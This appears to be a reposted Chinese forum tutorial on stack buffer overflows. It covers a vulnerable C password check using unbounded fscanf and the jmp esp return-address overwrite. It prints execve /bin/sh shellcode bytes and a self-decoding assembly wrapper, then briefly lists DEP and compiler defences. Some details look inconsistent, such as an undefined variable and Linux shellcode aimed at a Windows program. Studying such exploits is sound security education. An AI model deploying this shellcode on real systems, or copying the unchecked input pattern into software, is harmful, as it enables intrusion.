栈溢出原理和利用
2019-12-27 22:13:42 Author: bbs.pediy.com(查看原文) 阅读量:214 收藏

案例代码

    int main(void)
    {
        char cPas[20]={20 *0};
        int iResult;
        FILE* pFile = NULL;
        pFile = fopen("pd.txt", "r");

        fscanf(pFile, "%s",cPas);
        iResult=strcmp(Password, cPas);
        if(iResult == 0)
        {
            printf("Welcom\r\n");
        }
        else
        {
            printf("fail\r\n");
        }
        fclose(pFile);
        return 0;
    }

栈溢出原理

  • 栈溢出是指向向栈中写入了超出限定长度的数据,溢出的数据会覆盖栈中其它数据,从而影响程序的运行。
+ fscanf()函数(有点像正则表达式):

功 能: 从一个流中执行格式化输入,fscanf遇到空格和换行时结束,注意空格时也结束。

用 法:int fscanf(FILE *stream, char *format,[argument...]);

栈溢出漏洞的利用

  • 问题
  1. 首先栈的位置不一定能确定,那么返回值的代码同样不能确定,我们的目的是要在返回函数地址的下一行执行我们的代码
  2. fscanf函数在读取到0XA,0XC,0X20...这样的Hex时会被中断
  • 解决问题
    • 第一个问题我们可以使用jmp esp这个解决,HEX为FF E4,在返回地址处填上jmp esp这句代码的地址,这个exe的代码里面搜索到FF E4,把返回地址改成这个即可。
    • 第二个问题我们可以对fscanf代码进程加密使其不产生这些Hex

利用漏执行shellcode

论坛随便看到的shellcode
5

Explanation:
6a 0b                push 0xb 
58                     pop eax  
99                     cdq      
68 2f 73 68 00  push 0x68732f  
68 2f 62 69 6e  push 0x6e69622f
89 e3                mov ebx,esp    
31 c9                xor ecx,ecx    
cd 80                int 0x80

然后就是发现这段shellcode里面有 cd 0b这样的阶段HEX
所以我自己写了改这段代码的shellcode

.386
.model flat, stdcall  ;32 bit memory model
option casemap :none  ;case sensitive

.code
start:
call Next
Next:
pop ebx
sub ebx,offset Next

lea eax,[ebx+offset mydata]

;1Bh==>Bh
mov bl,[eax+1]
sub bl,10h
mov [eax+1],bl
;0CEh==>CDh
mov bl,[eax+18]
dec bl
mov [eax+18],bl

mydata db  6Ah,1Bh,58h,099h,68h,2Fh,73h,68h,00h,68h,2Fh,62h,69h,6Eh,89h,0E3h,31h,0C9h,0CEh,80h

ret
end start

编译链接exe,用winhex打开复制shellcode代码
5

复制到我们的输入中去
5
OD执行下
5

怎么防止栈溢出漏洞

  1. 系统中开启DEP(数据保护执行)
    5
  2. 编译的时候VS中有选项
    5

[进行中] 看雪20周年庆典12月28日上海举办,LV四级(中级)以上会员免费参与!,同时在校学生免费参加:学生报名链接!


文章来源: https://bbs.pediy.com/thread-256872.htm
如有侵权请联系:admin#unsafe.sh